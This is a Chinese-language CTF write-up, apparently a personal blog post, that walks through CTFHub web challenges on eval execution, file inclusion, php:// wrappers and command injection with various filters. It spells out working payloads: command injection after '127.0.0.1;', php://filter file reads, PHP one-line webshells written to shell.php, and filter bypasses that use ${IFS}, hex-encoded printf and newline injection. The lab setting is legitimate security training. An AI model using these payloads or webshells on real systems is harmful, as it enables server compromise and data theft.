eval执行
[huayang]Flag
看目录
/?cmd=system("ls");
没有想要的
继续
/?cmd=system("ls /");
进去拿
/?cmd=system("cat /flag_10452");
文件包含
Flag
先打开看看
再进去看看有什么
还是那个方法看看目录有啥子
先构建一个payload
http://challenge-3dbbafd3d8ce6c05.sandbox.ctfhub.com:10080/?file=shell.txt
ctfhub=system('ls');
打开flag文件
php://input
Flag
抓包改请求
转到repeater模块并查看目录
直接拿flag
读取源代码
Flag
看源码
提示我们要强制使用php://
直接用filter拿flag
http://challenge-2bf9e19442ae4f91.sandbox.ctfhub.com:10080/?file=php://filter/resource=/flag
远程包含
!警告!
一直用hackbar找不了flag
终于发现了问题
我们先来看一张图,这里我们把回显写上,post写上数据点击发送
什么都没发生
what???
我们来看看正常的会发生什么
很明显这不是我的问题
当我们加上 = 就会有一种刷新的感觉但post的参数还是没传上去
当我们再 = 前面加上随便一些东西时,奇迹出现了
暂时不是很能理解其中原理
Flag
过滤了get请求
既然hackbar不行就只有抓抓包了
注意构建post请求
因为知道机构就直接搞flag
命令注入
Flag
先输入127.0.0.1看看有什么
看一下目录
127.0.0.1;ls
打开php看看
看网上的大佬
方法1
写入管道符运行base64加密内容再打开
127.0.0.1;cat 118961902018996.php | base64
方法2
写一句话
127.0.0.1 ; <?php @eval(\$_POST['a']);?> >> shell.php
用蚁剑查看
过滤cat
Flag
方法和上一题一样
只不过过滤了cat第二种方法就要改一下
方法一
看目录
127.0.0.1;ls
打开文件
因为代码是直接过滤cat所以我们就写成ca\t / 是而不行的哦
127.0.0.1;ca/t flag_17579321643663.php
记得把#去掉,不然出不来
| base64
方法二
127.0.0.1 &<?php @eval(\$_POST['a']);?> >> shell.php
方法一样我就不用多写了
过滤空格
Flag
还是先看看文件名
直接搞出来
127.0.0.1;cat<flag_162753183510108.php|base64
试试一句话,貌似不行
过滤目录分隔符
Flag
第一步还是查目录
尝试打开,打不开说明被过滤了
只有用cd进入子文件夹
咱么进去看看
127.0.0.1;cd flag_is_here;ls
打开拿flag
127.0.0.1;cd flag_is_here;cat flag_11902389529876.php
在注释里////太坏了
过滤运算符
Flag
看目录
;ls
进去就完事了,我一直都是用的;而非&哈哈
;cat flag_200272708310671.php
又是在注释里,可恶
综合过滤练习
Flag
看这过滤就不想做了
太难了呀
百度看看别人的吧
直接在url上查看
127.0.0.1%0Als
继续,别问问就是不知道
使用hex编码 地址:http://stool.chinaz.com/hex
方法:
解出来不能直接加在url里,要转化一下
/?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
继续
/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x31\x37\x38\x39\x32\x32\x30\x39\x32\x36\x33\x39\x39\x2e\x70\x68\x70")
完!
[/huayang]
FROM:浅浅淡淡[hellohy]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论